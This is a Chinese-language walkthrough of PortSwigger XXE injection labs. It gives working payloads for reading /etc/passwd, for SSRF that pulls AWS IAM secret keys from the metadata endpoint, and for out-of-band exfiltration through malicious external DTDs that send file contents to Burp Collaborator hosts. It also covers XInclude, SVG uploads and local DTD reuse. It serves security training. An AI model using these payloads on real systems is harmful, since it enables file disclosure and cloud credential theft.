XML 外部实体 (XXE) 注入
1. 什么是xxe漏洞:
https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击,升级 XXE 攻击以危害底层服务器或其他后端基础设施。
实验1:xxe读取文件:
Lab: Exploiting XXE using external entities to retrieve files
进入靶场,点击功能,进入burp代理历史查看流量包:
数据包发送到repeater:
测试xxe漏洞:
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
将数字替换productId为对外部实体的引用:&xxe; 响应应包含“Invalid product ID”,后跟文件内容/etc/passwd。
实验2:利用xxe造成ssrf:
Lab: Exploiting XXE to perform SSRF attacks
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
将数字替换productId为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,该响应最初是文件夹名称。
迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin。这应该返回包含SecretAccessKey.
逐步添加169.254.169.254主机泄露的web目录到xml文档,最终发现泄露了aws云的SecretAccessKey,可以用相关工具
访问云服务:
实验3:带外交互的XXE盲注:
访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
实际:burp collaborator生成:if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com"> ]>
将数字替换productId为对外部实体的引用:
&xxe;
转到“collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。
进入靶场,查看到检查库存功能,有提交xml请求的流量:
修改数据包,重放:
实验4:通过 XML 参数实体进行带外交互的XXE盲注:
访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
## Collaborator生成子域名:% xxe表示xml参数实体
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://lshw8i7ytlv8xvt0mimz4a67gympaiy7.oastify.com"> %xxe; ]>
转到“Collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。
将数据包发送到重放器:
修改xml数据:
实验5:利用恶意外部 DTD 进行 XXE盲注窃取数据
使用Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
将 Burp Collaborator 负载放入恶意 DTD 文件中:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;
#### 制作恶意的外部dtd文档:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://pf80vmu2gpickzg49m93retb329txold.oastify.com/?x=%file;'>">
%eval;
%exfil;
单击“转到漏洞利用服务器”并将恶意 DTD 文件保存在您的服务器上。单击“查看漏洞”并记下 URL。
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
## 将恶意的dtd url路径插入:URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit"> %xxe;]>
返回“Collaborator ”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。HTTP 交互可以包含文件的内容/etc/hostname。
进入靶场,抓取查看库存功能,burp抓包:
将制作的恶意dtd文档托管到自己可控的web服务器上:
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
实验6:利用盲目 XXE 通过错误消息检索数据
单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
/etc/passwd导入时,此页面将读取实体 的内容file,然后尝试在文件路径中使用该实体。
单击“查看漏洞”并记下恶意 DTD 的 URL。
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
##
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit"> %xxe;]>
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
您应该看到一条包含文件内容的错误消息/etc/passwd。
将恶意的dtd文件托管到自己控制的web服务器中:记录恶意dtd的url值:
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
实验7:利用 XInclude 检索文件:
一些应用程序接收客户端提交的数据,将其在服务器端嵌入到 XML 文档中,然后解析该文档。当客户端提交的数据被放入后端 SOAP 请求中,然后由后端 SOAP 服务处理时,就会发生这种情况。
在这种情况下,您无法执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改元素DOCTYPE。但是,您也许可以使用XInclude它。XInclude是 XML 规范的一部分,允许从子文档构建 XML 文档。您可以XInclude在 XML 文档中的任何数据值中进行攻击,因此可以在您仅控制放入服务器端 XML 文档中的单个数据项的情况下执行攻击。
要执行XInclude攻击,您需要引用XInclude命名空间并提供您希望包含的文件的路径。例如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
### 操作:
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
将参数值设置productId为:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
实验8:通过图像文件上传利用 XXE
### 原理:
某些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例包括 DOCX 等办公文档格式和 SVG 等图像格式。
例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,从而达到XXE漏洞的隐藏攻击面。
### 操作:
创建包含以下内容的本地 SVG 图像:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
在博客文章上发表评论,并上传此图像作为头像。
/etc/hostname当您查看评论时,头像svg被解析,xml中代码执行,读取了hostname,您应该会在图像中 看到文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。
创建1.svg文件:
查看图片,图片已经显示了主机名:
实验9:利用 XXE 通过重新利用本地 DTD 来检索数据
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下参数实体定义stockCheck:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
这将导入 Yelp DTD,然后重新定义ISOamso实体,触发包含文件内容的错误消息/etc/passwd。
通过修改内容类型进行 XXE 攻击
大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 某些网站期望接收这种格式的请求,但也会容忍其他内容类型,包括 XML。
例如,如果一个普通请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后您可以提交以下请求,得到相同的结果:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。
参考:
https://mp.weixin.qq.com/s/a_AlnsHdyavDriFbnTsyRw
## paylaodallthings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
### owasp:
https://owasp.org/www-project-web-security-testing-guide/v42/
### owasp xml注入:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection